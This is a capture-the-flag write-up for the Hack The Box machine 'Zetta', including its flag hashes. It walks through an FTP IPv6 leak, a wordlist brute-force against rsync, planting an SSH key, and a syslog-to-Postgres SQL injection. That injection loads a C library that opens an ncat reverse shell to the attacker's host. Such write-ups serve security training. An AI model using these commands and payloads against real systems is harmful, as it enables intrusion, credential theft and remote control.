==========
Zetta user: a575bdb345f2de0a3172c8282452be91
Zetta root: b9407e837fb779abc934d6db89ed4c42
==========

Summary

Zetta is hard machine on hackthebox, involving ftp & rsync, bruteforce and a custom sql injection.

User Flag

Open ports:

```
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
```

On the website on port 80 we see a long string being shown as a potential ftp password, which is generated as follows:

```
var rString = randomString(32,
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
```

We can use any 32 char string to connect to ftp, using it as username and password. The website also mentions RFC2428 which describes 2 commands EPRT and EPSV.

By using `EPRT<space><d><net-prt><d><net-addr><d><tcp-port><d>` we can get the ftp server to connect to us using his ipv6 address:

```
nc zetta.htb 21
USER a9407e837fb779abc934d6db89ed4c43
PASS a9407e837fb779abc934d6db89ed4c43
EPRT |2|dead:beef:2::1003|4444|
LIST
```

Using wireshark we can read its ipv6 address and use it for another port scan (for ease of use I added it to /etc/hosts). This time another port shows up: “8730”, which runs rsyncd. We connect and see the following message:

```
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******
rsync rsync://zetta6:8730
...
```

```
bin             Backup access to /bin
boot            Backup access to /boot
lib             Backup access to /lib
lib64           Backup access to /lib64
opt             Backup access to /opt
sbin            Backup access to /sbin
srv             Backup access to /srv
usr             Backup access to /usr
var             Backup access to /var
```

By trial and error we find that the only folder we can download with rsync is “/etc/”, which is not listed here. We find the following interesting config file:

```
cat rsyncd.conf
...
# Syncable home directory for .dot file sync for me.
# NOTE: Need to get this into GitHub repository and use git for sync.
[home_roy]
        path = /home/roy
        read only = no
        # Authenticate user for security reasons.
        uid = roy
        gid = roy
        auth users = roy
        secrets file = /etc/rsyncd.secrets
        # Hide home module so that no one tries to access it.
        list = false
```

We can not read the secrets file, but bruteforcing the password gives the correct result in just a few minutes:

```
for word in $(cat ~/tools/SecLists/Passwords/Leaked-Databases/rockyou-10.txt ); do
sshpass -p $word rsync -6 -r rsync://roy@zetta6:8730/home_roy/ .; done
```

We can now read user.txt as it was synced to our folder. The correct password was “computer”. We add our ssh public key to “.ssh/authorized_keys” and upload it, resulting in a ssh access as roy:

```
rsync -vvaP -6 .ssh "rsync://roy@zetta6:8730/home_roy/"
```

Root Flag

In roys home folder we see a file “.tudu.xml” with several hints. It suggests to look at logging related things and postgres. We confirm that posgres is running on 5432 by using `ss -ntp`. The assumption that we have to deal with something logging related is also reinforced by the groups we have (includes adm):

```
uid=1000(roy) gid=1000(roy)
groups=1000(roy),4(adm),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev
),109(netdev)
```

We have some logfiles in /var/log/postgresql, for example “postgresql-11-main.log”, which is however empty. We open a terminal and run `tail -f` on the file to monitor it at all times. When trying to log into postgres with a wrong user (`psql -U xct`) we generate some error messages, that we can see in the log.

Looking back at the hints xml file we see that git files are mentioned. By searching for “.git” on the box we get 3 folders:

```
/etc/pure-ftpd/.git
/etc/nginx/.git
/etc/rsyslog.d/.git
```

I copied those folders to my local box and looked at the history with `git reflog | awk '{ print $1 }' | xargs gitk`. There is an interesting line in a commit for rsyslog:

```
local7.info action(type="ompgsql" server="localhost" user="postgres"
pass="test1234" db="syslog" template="sql-syslog")
```

While the password does not work, this tells us that the “local7.info” log facility is used. By sending messages to the facility we are able to trigger an error message:

```
logger -p local7.info "'"
...
2019-09-01 05:44:33.721 EDT [22460] postgres@syslog STATEMENT:  INSERT INTO
syslog_lines (message, devicereportedtime) values (' \'','2019-09-01 09:44:33')
```

It seems like we can progress by injecting values into log messages, because these are used in a query. We have to deal with escaping single quotes here, because they get changed to `\'`. A way to accomplish this in postgres is to use `$$` to replace all single quotes. We have to be a bit careful though because `$$` is also a bash thing so we have to escape that too. We try some things and get a valid query that does not error out, despite the injection:

```
logger -p local7.info "xct',\$\$2019-09-01 07:55:02\$\$) --"
```

Postgres supports loading shared libraries via queries so we create one:

```
# get version with `find / -wholename '*/bin/postgres' 2>&- | xargs -i xargs -t
'{}' -V`
sudo apt-get install postgresql-server-dev-11

#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif


Datum exec(PG_FUNCTION_ARGS){
    system("/dev/shm/ncat 10.10.14.5 8000 -e /bin/sh");

};
```

```
PG_FUNCTION_INFO_V1(exec);

gcc xct.c -I`pg_config --includedir-server` -fPIC -shared -o xct.so
```

We upload a static ncat binary and the shared object to “/dev/shm/”. Now we can create the queries that load the shared objects and give us a shell:

```
logger -p local7.info "xct',\$\$2019-09-01 07:55:02\$\$); CREATE OR REPLACE
FUNCTION exec()  RETURNS text AS  \$\$/dev/shm/xct.so\$\$, \$\$exec\$\$ LANGUAGE C
STRICT; -- "

logger -p local7.info "xct',\$\$2019-09-01 07:55:02\$\$); SELECT exec(); -- "
```

The shell will die after about 20-30 seconds so we have to be quick. In “/var/lib/postgresql/.ssh/id_rsa” we find a ssh private key for postgres which we can use to connect.

The final step is to look at .psql_history and see the password the user has: “sup3rs3cur3p4ass@postgres”. Remembering the hints file we infer the root password “sup3rs3cur3p4ass@root” and can su to root.